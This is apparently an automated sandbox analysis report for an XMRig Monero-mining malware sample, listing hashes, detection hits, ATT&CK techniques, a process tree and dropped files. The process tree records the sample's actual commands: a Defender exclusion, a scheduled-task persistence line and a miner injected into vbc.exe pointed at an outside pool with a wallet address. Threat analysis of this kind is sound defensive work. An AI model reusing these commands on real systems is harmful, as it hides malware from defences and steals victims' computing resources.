xmrig | c9173ae25d7be70516cd781ed43bc795dbc0d4871fd8bddafac58f280136f4f2

Analysis

max time kernel
132s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
13/11/2022, 21:30

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General

Target
file.exe
Size 1.5MB
Sample221113-1cfsysdb78
SHA256 c9173ae25d7be70516cd781ed43bc795dbc0d4871fd8bddafac58f280136f4f2
MD5 5a90a7ec1474edd4c6a003c6a1953dcc
SHA1 12813601633d5352caa92131f932155e387b617e
SHA512 20443741a91ab372cb12e4c12ae18b1798866ffd0f6946ad24e19cb5fe4a4978427a4d5ffe7661264d7ebc26f10c7710bb5e94416ec64c96607eabaaef9a175e
SSDEEP 24576:zdzyKZ6pe2dPQesHSFt1NhNZA5QAZtJNumYS7yBiF6DkT:B2y6ESPfhlA/JNBYS7CDk
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/3968-185-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3968-186-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/3968-187-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3968-188-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3968-190-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3968-195-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
2044	AVPTQBAEW.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	AVPTQBAEW.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2044 set thread context of 3968	2044	AVPTQBAEW.exe	99

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1904	2044	WerFault.exe	86

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1956	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3208	timeout.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
5056	powershell.exe
5056	powershell.exe
3472	powershell.exe
3472	powershell.exe
2044	AVPTQBAEW.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
648	Process not Found

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4656	file.exe
Token: SeDebugPrivilege	5056	powershell.exe
Token: SeDebugPrivilege	2044	AVPTQBAEW.exe
Token: SeDebugPrivilege	3472	powershell.exe
Token: SeLockMemoryPrivilege	3968	vbc.exe
Token: SeLockMemoryPrivilege	3968	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3968	vbc.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 4656 wrote to memory of 5056	4656	file.exe	81
PID 4656 wrote to memory of 5056	4656	file.exe	81
PID 4656 wrote to memory of 2532	4656	file.exe	83
PID 4656 wrote to memory of 2532	4656	file.exe	83
PID 2532 wrote to memory of 3208	2532	cmd.exe	85
PID 2532 wrote to memory of 3208	2532	cmd.exe	85
PID 2532 wrote to memory of 2044	2532	cmd.exe	86
PID 2532 wrote to memory of 2044	2532	cmd.exe	86
PID 2044 wrote to memory of 3472	2044	AVPTQBAEW.exe	87
PID 2044 wrote to memory of 3472	2044	AVPTQBAEW.exe	87
PID 2044 wrote to memory of 4032	2044	AVPTQBAEW.exe	89
PID 2044 wrote to memory of 4032	2044	AVPTQBAEW.exe	89
PID 4032 wrote to memory of 1956	4032	cmd.exe	91
PID 4032 wrote to memory of 1956	4032	cmd.exe	91
PID 2044 wrote to memory of 3968	2044	AVPTQBAEW.exe	99
PID 2044 wrote to memory of 3968	2044	AVPTQBAEW.exe	99
PID 2044 wrote to memory of 3968	2044	AVPTQBAEW.exe	99
PID 2044 wrote to memory of 3968	2044	AVPTQBAEW.exe	99
PID 2044 wrote to memory of 3968	2044	AVPTQBAEW.exe	99
PID 2044 wrote to memory of 3968	2044	AVPTQBAEW.exe	99
PID 2044 wrote to memory of 3968	2044	AVPTQBAEW.exe	99
PID 2044 wrote to memory of 3968	2044	AVPTQBAEW.exe	99
PID 2044 wrote to memory of 3968	2044	AVPTQBAEW.exe	99
PID 2044 wrote to memory of 3968	2044	AVPTQBAEW.exe	99
PID 2044 wrote to memory of 3968	2044	AVPTQBAEW.exe	99
PID 2044 wrote to memory of 3968	2044	AVPTQBAEW.exe	99
PID 2044 wrote to memory of 3968	2044	AVPTQBAEW.exe	99
PID 2044 wrote to memory of 3968	2044	AVPTQBAEW.exe	99

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp80DD.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2532
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:3208
- - C:\ProgramData\WindowsMail\AVPTQBAEW.exe
    "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3472
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4032
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:1956
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:3968
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2044 -s 3740
      4⤵
      Program crash
      PID:1904

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 432 -p 2044 -ip 2044
1⤵
PID:3488

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

AVPTQBAEW.exe

Path C:\ProgramData\WindowsMail\AVPTQBAEW.exe
Size 1.5MB
SHA256 c9173ae25d7be70516cd781ed43bc795dbc0d4871fd8bddafac58f280136f4f2
MD5 5a90a7ec1474edd4c6a003c6a1953dcc
SHA1 12813601633d5352caa92131f932155e387b617e
SHA512 20443741a91ab372cb12e4c12ae18b1798866ffd0f6946ad24e19cb5fe4a4978427a4d5ffe7661264d7ebc26f10c7710bb5e94416ec64c96607eabaaef9a175e
SSDEEP 24576:zdzyKZ6pe2dPQesHSFt1NhNZA5QAZtJNumYS7yBiF6DkT:B2y6ESPfhlA/JNBYS7CDk
MD5 SHA1 SHA512 SSDEEP

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AVPTQBAEW.exe

Path C:\ProgramData\WindowsMail\AVPTQBAEW.exe
Size 1.5MB
SHA256 c9173ae25d7be70516cd781ed43bc795dbc0d4871fd8bddafac58f280136f4f2
MD5 5a90a7ec1474edd4c6a003c6a1953dcc
SHA1 12813601633d5352caa92131f932155e387b617e
SHA512 20443741a91ab372cb12e4c12ae18b1798866ffd0f6946ad24e19cb5fe4a4978427a4d5ffe7661264d7ebc26f10c7710bb5e94416ec64c96607eabaaef9a175e
SSDEEP 24576:zdzyKZ6pe2dPQesHSFt1NhNZA5QAZtJNumYS7yBiF6DkT:B2y6ESPfhlA/JNBYS7CDk
MD5 SHA1 SHA512 SSDEEP

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
MD5 6d3e9c29fe44e90aae6ed30ccf799ca8
SHA1 c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA512 60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
MD5 SHA1 SHA512

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tmp80DD.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp80DD.tmp.bat
Size 149B
SHA256 f1070b0c92a693dfb40e60458e6c05a763a0659d4ddfa3bac53fa2ca3a7c5565
MD5 96a44bce538cd328ff5701da4213ebd9
SHA1 c16963d8cd005d7d0c7a3a78f16f822b4f1e2a0b
SHA512 60724bfd40e20ede897020a83c128a344ce270ce5912d722901d17357f5b8bc7df08b0768c9237671ae0f0e254db8851265417fefe4a299da53b45a7f0cfbdfd
MD5 SHA1 SHA512

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memory/2044-183-0x0000000000B60000-0x0000000000BA1000-memory.dmp

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memory/2044-161-0x00007FFE1DB00000-0x00007FFE1DBBD000-memory.dmp

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memory/2044-180-0x00007FFE37020000-0x00007FFE3705B000-memory.dmp

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memory/2044-169-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp

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memory/2044-170-0x00007FFE38440000-0x00007FFE38467000-memory.dmp

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memory/2044-178-0x00007FFE18A10000-0x00007FFE18B12000-memory.dmp

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memory/2044-177-0x00007FFE1D920000-0x00007FFE1D955000-memory.dmp

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memory/2044-184-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp

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memory/2044-179-0x00007FFE39EF0000-0x00007FFE39F5B000-memory.dmp

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memory/2044-194-0x0000000000970000-0x0000000000B54000-memory.dmp

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memory/2044-193-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp

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memory/2044-192-0x00007FFE16730000-0x00007FFE1689A000-memory.dmp

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memory/2044-167-0x0000000000970000-0x0000000000B54000-memory.dmp

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memory/2044-166-0x0000000000B60000-0x0000000000BA1000-memory.dmp

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memory/2044-165-0x00007FFE39D60000-0x00007FFE39D8B000-memory.dmp

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memory/2044-168-0x00007FFE1D9B0000-0x00007FFE1DAFE000-memory.dmp

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memory/2044-164-0x0000000000970000-0x0000000000B54000-memory.dmp

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memory/2044-158-0x00007FFE1DBC0000-0x00007FFE1DC6A000-memory.dmp

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memory/2044-159-0x00007FFE3A440000-0x00007FFE3A4DE000-memory.dmp

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memory/2044-160-0x00007FFE35B70000-0x00007FFE35B82000-memory.dmp

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memory/2044-182-0x0000000000970000-0x0000000000B54000-memory.dmp

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memory/2044-162-0x00007FFE38580000-0x00007FFE38721000-memory.dmp

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memory/2044-163-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp

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memory/3472-176-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp

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memory/3968-188-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/3968-195-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/3968-187-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/3968-189-0x000002A530E30000-0x000002A530E50000-memory.dmp

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memory/3968-185-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/3968-191-0x000002A5C48A0000-0x000002A5C48E0000-memory.dmp

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memory/3968-190-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/3968-196-0x000002A530EA0000-0x000002A530EC0000-memory.dmp

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memory/3968-197-0x000002A5C4F10000-0x000002A5C4F30000-memory.dmp

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memory/3968-198-0x000002A530EA0000-0x000002A530EC0000-memory.dmp

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memory/3968-199-0x000002A5C4F10000-0x000002A5C4F30000-memory.dmp

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memory/4656-138-0x0000000002F00000-0x0000000002F41000-memory.dmp

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memory/4656-148-0x0000000002F00000-0x0000000002F41000-memory.dmp

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memory/4656-133-0x00007FFE1DBC0000-0x00007FFE1DC6A000-memory.dmp

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memory/4656-134-0x00007FFE3A440000-0x00007FFE3A4DE000-memory.dmp

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memory/4656-135-0x00007FFE35B70000-0x00007FFE35B82000-memory.dmp

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memory/4656-136-0x00007FFE1DB00000-0x00007FFE1DBBD000-memory.dmp

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memory/4656-143-0x00007FFE1D9B0000-0x00007FFE1DAFE000-memory.dmp

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memory/4656-141-0x00007FFE39D60000-0x00007FFE39D8B000-memory.dmp

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memory/4656-139-0x00007FFE38580000-0x00007FFE38721000-memory.dmp

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memory/4656-140-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp

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memory/4656-137-0x0000000000480000-0x0000000000664000-memory.dmp

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memory/4656-150-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp

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memory/4656-142-0x0000000000480000-0x0000000000664000-memory.dmp

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memory/4656-144-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp

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memory/4656-147-0x0000000000480000-0x0000000000664000-memory.dmp

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memory/5056-181-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp

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memory/5056-149-0x0000021AAAA20000-0x0000021AAAA42000-memory.dmp

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memory/5056-153-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp

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